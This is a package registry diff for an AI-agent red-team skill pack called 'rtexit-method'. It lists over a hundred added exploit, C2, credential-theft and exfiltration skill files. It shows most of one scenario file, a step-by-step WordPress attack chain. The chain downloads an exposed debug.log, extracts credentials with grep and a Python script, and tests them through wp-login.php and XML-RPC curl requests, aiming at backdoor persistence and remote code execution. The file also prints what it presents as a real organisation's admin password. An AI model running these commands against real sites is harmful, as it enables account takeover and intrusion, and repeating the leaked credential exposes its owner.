rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,635 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scenario-w001
|
|
3
|
+
description: "W-001: Unauthenticated Admin via Debug Endpoint. Domain: web. Attack chain: debug.log exposure → admin credentials → wp-admin access → RCE. MITRE: T1190 → T1078 → T1059. Real example: Almentor: debug.log (261MB) → admin:Almentor@123 → Application Password backdoor"
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# W-001: Unauthenticated Admin via Debug Endpoint
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**Attack Objective:** Gain remote code execution on a WordPress installation by extracting administrator credentials from a publicly accessible debug log file, authenticating to wp-admin, and establishing a persistent backdoor via the Application Passwords API.
|
|
11
|
+
|
|
12
|
+
**Required Access Level:** None (fully unauthenticated initial access)
|
|
13
|
+
|
|
14
|
+
**Estimated Time to Execute:** 15–45 minutes (depending on log file size and credential density)
|
|
15
|
+
|
|
16
|
+
**Detection Risk Level:** LOW (initial recon) → MEDIUM (wp-admin login) → HIGH (RCE/webshell deployment)
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Prerequisites
|
|
21
|
+
|
|
22
|
+
### Required Tools
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
# curl (usually pre-installed)
|
|
26
|
+
curl --version
|
|
27
|
+
|
|
28
|
+
# wget for large file downloads
|
|
29
|
+
sudo apt install wget -y
|
|
30
|
+
|
|
31
|
+
# grep / strings for credential extraction
|
|
32
|
+
sudo apt install binutils -y
|
|
33
|
+
|
|
34
|
+
# ffuf for path fuzzing (fallback discovery)
|
|
35
|
+
sudo apt install ffuf -y
|
|
36
|
+
# or: go install github.com/ffuf/ffuf/v2@latest
|
|
37
|
+
|
|
38
|
+
# wpscan for WordPress enumeration
|
|
39
|
+
sudo apt install ruby -y && sudo gem install wpscan
|
|
40
|
+
|
|
41
|
+
# python3 for scripting
|
|
42
|
+
python3 --version
|
|
43
|
+
|
|
44
|
+
# Optional: httpx for bulk probing
|
|
45
|
+
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Required Access or Conditions
|
|
49
|
+
|
|
50
|
+
- Target WordPress site is network reachable (port 80/443)
|
|
51
|
+
- WordPress is running in debug mode (`WP_DEBUG=true`, `WP_DEBUG_LOG=true`)
|
|
52
|
+
- `debug.log` is served under the default path or a discoverable path
|
|
53
|
+
- No WAF blocking direct log file requests (or WAF bypass is possible)
|
|
54
|
+
|
|
55
|
+
### Skill Level
|
|
56
|
+
|
|
57
|
+
**BEGINNER** — All steps use standard command-line tools with no exploit development required.
|
|
58
|
+
|
|
59
|
+
---
|
|
60
|
+
|
|
61
|
+
## Attack Chain
|
|
62
|
+
|
|
63
|
+
```
|
|
64
|
+
[1] DISCOVERY: Public debug.log exposure
|
|
65
|
+
|
|
|
66
|
+
| T1190 — Exploit Public-Facing Application
|
|
67
|
+
v
|
|
68
|
+
[2] CREDENTIAL EXTRACTION: admin:password from log entries
|
|
69
|
+
|
|
|
70
|
+
| T1078 — Valid Accounts
|
|
71
|
+
v
|
|
72
|
+
[3] AUTHENTICATION: wp-admin login with extracted credentials
|
|
73
|
+
|
|
|
74
|
+
| T1078.001 — Default Accounts / T1078.003 — Local Accounts
|
|
75
|
+
v
|
|
76
|
+
[4] PERSISTENCE: Application Password backdoor creation
|
|
77
|
+
|
|
|
78
|
+
| T1098 — Account Manipulation
|
|
79
|
+
v
|
|
80
|
+
[5] RCE: Plugin/theme editor, WP-CLI, or webshell upload
|
|
81
|
+
|
|
|
82
|
+
| T1059 — Command and Scripting Interpreter
|
|
83
|
+
v
|
|
84
|
+
[6] POST-EXPLOITATION: Lateral movement, data exfiltration
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
**MITRE ATT&CK Chain:** T1190 → T1078 → T1098 → T1059
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## Step-by-Step Execution
|
|
92
|
+
|
|
93
|
+
### Step 1 — Discover the Debug Log
|
|
94
|
+
|
|
95
|
+
**Objective:** Confirm the debug.log file is publicly accessible.
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
TARGET="https://target-site.com"
|
|
99
|
+
|
|
100
|
+
# Check default WordPress debug log location
|
|
101
|
+
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" \
|
|
102
|
+
"${TARGET}/wp-content/debug.log"
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**Expected Output:**
|
|
106
|
+
```
|
|
107
|
+
200 274726912
|
|
108
|
+
```
|
|
109
|
+
A `200` response with non-zero size confirms the file is exposed. A `403` means it exists but is restricted. A `404` means it is not at the default path — proceed to fallback.
|
|
110
|
+
|
|
111
|
+
**Fallback — Fuzz alternate log paths:**
|
|
112
|
+
```bash
|
|
113
|
+
ffuf -u "${TARGET}/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/common.txt \
|
|
114
|
+
-mc 200 -fs 0 -t 50 \
|
|
115
|
+
-fc 403 \
|
|
116
|
+
-e ".log,.txt,.bak" \
|
|
117
|
+
-o ffuf-logs.json
|
|
118
|
+
|
|
119
|
+
# Also check common alternate paths
|
|
120
|
+
for path in \
|
|
121
|
+
"wp-content/debug.log" \
|
|
122
|
+
"wp-content/logs/debug.log" \
|
|
123
|
+
"wp-content/uploads/debug.log" \
|
|
124
|
+
"debug.log" \
|
|
125
|
+
"logs/debug.log"; do
|
|
126
|
+
code=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}/${path}")
|
|
127
|
+
echo "${code} ${path}"
|
|
128
|
+
done
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
**Fallback — WPScan enumeration:**
|
|
132
|
+
```bash
|
|
133
|
+
wpscan --url "${TARGET}" --enumerate ap,at,u --api-token YOUR_API_TOKEN
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
---
|
|
137
|
+
|
|
138
|
+
### Step 2 — Download the Debug Log
|
|
139
|
+
|
|
140
|
+
**Objective:** Retrieve the full log file for offline analysis.
|
|
141
|
+
|
|
142
|
+
```bash
|
|
143
|
+
# Small files (< 50MB): use curl
|
|
144
|
+
curl -s "${TARGET}/wp-content/debug.log" -o debug.log
|
|
145
|
+
|
|
146
|
+
# Large files (> 50MB): use wget with progress
|
|
147
|
+
wget -q --show-progress "${TARGET}/wp-content/debug.log" -O debug.log
|
|
148
|
+
|
|
149
|
+
# Very large files (100MB+): stream and grep simultaneously to avoid disk saturation
|
|
150
|
+
curl -s "${TARGET}/wp-content/debug.log" | \
|
|
151
|
+
grep -i -E "(password|passwd|pwd|credential|admin|user.*:)" \
|
|
152
|
+
> credentials-raw.txt
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
**Expected Output (large file):**
|
|
156
|
+
```
|
|
157
|
+
debug.log 100%[===================>] 261.00M 8.42MB/s in 31s
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
**Verify download integrity:**
|
|
161
|
+
```bash
|
|
162
|
+
wc -l debug.log
|
|
163
|
+
ls -lh debug.log
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
---
|
|
167
|
+
|
|
168
|
+
### Step 3 — Extract Credentials from the Log
|
|
169
|
+
|
|
170
|
+
**Objective:** Parse the log for cleartext credentials, password reset tokens, or authentication errors that leak usernames/passwords.
|
|
171
|
+
|
|
172
|
+
```bash
|
|
173
|
+
# Pattern 1: Cleartext password in debug output
|
|
174
|
+
grep -i "password" debug.log | grep -v "password_hash\|password_reset" | head -50
|
|
175
|
+
|
|
176
|
+
# Pattern 2: Authentication errors revealing username:password pairs
|
|
177
|
+
grep -i "wrong password\|incorrect password\|login failed" debug.log | head -50
|
|
178
|
+
|
|
179
|
+
# Pattern 3: WooCommerce / plugin credential logging
|
|
180
|
+
grep -i -E "user.*pass|pass.*user|auth.*cred|cred.*auth" debug.log | head -50
|
|
181
|
+
|
|
182
|
+
# Pattern 4: Email/username enumeration from log
|
|
183
|
+
grep -i -E "([a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,})" debug.log | \
|
|
184
|
+
grep -i "admin\|user\|login" | sort -u | head -30
|
|
185
|
+
|
|
186
|
+
# Pattern 5: API keys, tokens, application passwords
|
|
187
|
+
grep -i -E "application.password|app.password|api.key|secret.key" debug.log | head -30
|
|
188
|
+
|
|
189
|
+
# Comprehensive extraction to file
|
|
190
|
+
grep -i -E \
|
|
191
|
+
"(password|passwd|pwd|secret|token|credential|wp_user|admin|login)" \
|
|
192
|
+
debug.log | sort -u > extracted-creds.txt
|
|
193
|
+
|
|
194
|
+
wc -l extracted-creds.txt
|
|
195
|
+
cat extracted-creds.txt | head -100
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
**Expected Output Example:**
|
|
199
|
+
```
|
|
200
|
+
[17-Mar-2024 09:14:32 UTC] WordPress database error: You have an error
|
|
201
|
+
[17-Mar-2024 09:22:11 UTC] PHP Notice: Undefined variable: password in /var/www/html/wp-content/plugins/custom-auth/auth.php on line 47
|
|
202
|
+
[17-Mar-2024 09:22:11 UTC] Auth attempt: admin / Almentor@123
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
**Fallback — Use strings on binary-heavy log:**
|
|
206
|
+
```bash
|
|
207
|
+
strings debug.log | grep -i "password\|passwd\|admin" | head -50
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
**Fallback — Python script for structured extraction:**
|
|
211
|
+
```python
|
|
212
|
+
#!/usr/bin/env python3
|
|
213
|
+
import re, sys
|
|
214
|
+
|
|
215
|
+
patterns = [
|
|
216
|
+
r'(?i)(?:user(?:name)?|login)\s*[=:]\s*([^\s,\'"]+)',
|
|
217
|
+
r'(?i)pass(?:word)?\s*[=:]\s*([^\s,\'"]+)',
|
|
218
|
+
r'(?i)([a-zA-Z0-9._-]+)\s*/\s*([^\s\'"]{4,})', # user / pass format
|
|
219
|
+
r'(?i)admin\s*:\s*([^\s\'"]{4,})',
|
|
220
|
+
]
|
|
221
|
+
|
|
222
|
+
with open(sys.argv[1], 'r', errors='ignore') as f:
|
|
223
|
+
for line in f:
|
|
224
|
+
for p in patterns:
|
|
225
|
+
m = re.search(p, line)
|
|
226
|
+
if m:
|
|
227
|
+
print(line.strip())
|
|
228
|
+
break
|
|
229
|
+
```
|
|
230
|
+
```bash
|
|
231
|
+
python3 extract-creds.py debug.log > structured-creds.txt
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
### Step 4 — Validate Credentials Against wp-login.php
|
|
237
|
+
|
|
238
|
+
**Objective:** Confirm extracted credentials authenticate successfully.
|
|
239
|
+
|
|
240
|
+
```bash
|
|
241
|
+
TARGET="https://target-site.com"
|
|
242
|
+
USERNAME="admin"
|
|
243
|
+
PASSWORD="Almentor@123"
|
|
244
|
+
|
|
245
|
+
# Manual login test
|
|
246
|
+
curl -s -c cookies.txt -b cookies.txt \
|
|
247
|
+
-X POST "${TARGET}/wp-login.php" \
|
|
248
|
+
-d "log=${USERNAME}&pwd=${PASSWORD}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
|
|
249
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
250
|
+
-L -o login-response.html
|
|
251
|
+
|
|
252
|
+
# Check for successful login (presence of dashboard indicators)
|
|
253
|
+
grep -i "dashboard\|wp-admin\|howdy" login-response.html | head -5
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
**Expected Output (success):**
|
|
257
|
+
```html
|
|
258
|
+
<h2>Dashboard</h2>
|
|
259
|
+
<!-- or: Howdy, admin -->
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
**Fallback — WPScan credential check:**
|
|
263
|
+
```bash
|
|
264
|
+
wpscan --url "${TARGET}" \
|
|
265
|
+
--username "${USERNAME}" \
|
|
266
|
+
--password "${PASSWORD}" \
|
|
267
|
+
--password-attack wp-login
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
**Fallback — XML-RPC authentication (if wp-login.php is rate-limited):**
|
|
271
|
+
```bash
|
|
272
|
+
curl -s -X POST "${TARGET}/xmlrpc.php" \
|
|
273
|
+
-H "Content-Type: text/xml" \
|
|
274
|
+
-d "<?xml version='1.0'?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>${USERNAME}</value></param><param><value>${PASSWORD}</value></param></params></methodCall>"
|
|
275
|
+
```
|
|
276
|
+
A response containing `<string>` blog data (not `faultCode`) confirms valid credentials.
|
|
277
|
+
|
|
278
|
+
---
|
|
279
|
+
|
|
280
|
+
### Step 5 — Create Application Password Backdoor
|
|
281
|
+
|
|
282
|
+
